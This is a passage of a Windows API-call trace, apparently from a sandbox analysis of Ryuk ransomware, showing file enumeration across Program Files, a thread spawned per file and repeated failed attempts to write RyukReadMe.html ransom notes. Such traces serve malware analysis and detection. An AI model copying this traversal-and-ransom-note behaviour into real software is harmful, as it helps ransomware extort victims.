	[0169.777] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0169.777] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
	[0169.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04
	[0169.780] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.780] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0169.780] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0169.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08
	[0169.784] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.784] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0169.785] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1
	[0169.785] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x68, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0
	[0169.785] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0169.785] SetLastError (dwErrCode=0x0) 
	[0169.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.785] GetLastError () returned 0x5
	[0169.785] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.786] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.786] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0169.786] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0169.786] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x5a, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0
	[0169.786] FindClose (in: hFindFile=0x79ce0 | out: hFindFile=0x79ce0) returned 1
	[0169.786] SetLastError (dwErrCode=0x0) 
	[0169.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.787] GetLastError () returned 0x5
	[0169.787] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0169.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.787] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91382e50, ftCreationTime.dwHighDateTime=0x1d56bf7, ftLastAccessTime.dwLowDateTime=0x2cbd69b0, ftLastAccessTime.dwHighDateTime=0x1d5aa89, ftLastWriteTime.dwLowDateTime=0x2cbd69b0, ftLastWriteTime.dwHighDateTime=0x1d5aa89, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="vp i manner.exe", cAlternateFileName="VPIMAN~1.EXE")) returned 1
	[0169.787] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91382e50, ftCreationTime.dwHighDateTime=0x1d56bf7, ftLastAccessTime.dwLowDateTime=0x2cbd69b0, ftLastAccessTime.dwHighDateTime=0x1d5aa89, ftLastWriteTime.dwLowDateTime=0x2cbd69b0, ftLastWriteTime.dwHighDateTime=0x1d5aa89, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="vp i manner.exe", cAlternateFileName="VPIMAN~1.EXE")) returned 0
	[0169.787] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0169.787] SetLastError (dwErrCode=0x0) 
	[0169.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.788] GetLastError () returned 0x5
	[0169.788] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0169.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.788] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x24, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0169.788] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1
	[0169.788] SetLastError (dwErrCode=0x0) 
	[0169.788] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.789] GetLastError () returned 0x5
	[0169.789] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0169.789] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0169.792] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.793] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x40, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1
	[0169.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0169.795] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.796] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x40, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1
	[0169.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998
	[0169.799] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.799] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x40, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1
	[0169.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c
	[0170.101] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.105] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x40, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1
	[0170.105] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0170.105] SetLastError (dwErrCode=0x0) 
	[0170.106] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.287] GetLastError () returned 0x5
	[0170.287] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0170.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0170.287] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x54, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1
	[0170.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x54, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1
	[0170.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x54, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1
	[0170.288] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x54, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0
	[0170.288] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0170.288] SetLastError (dwErrCode=0x0) 
	[0170.288] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.288] GetLastError () returned 0x5
	[0170.289] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0170.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.289] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x40, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1
	[0170.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0170.293] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.293] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x40, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1
	[0170.293] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c
	[0170.296] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.296] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x40, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1
	[0170.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0170.298] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.299] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x40, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1
	[0170.299] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x40, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1
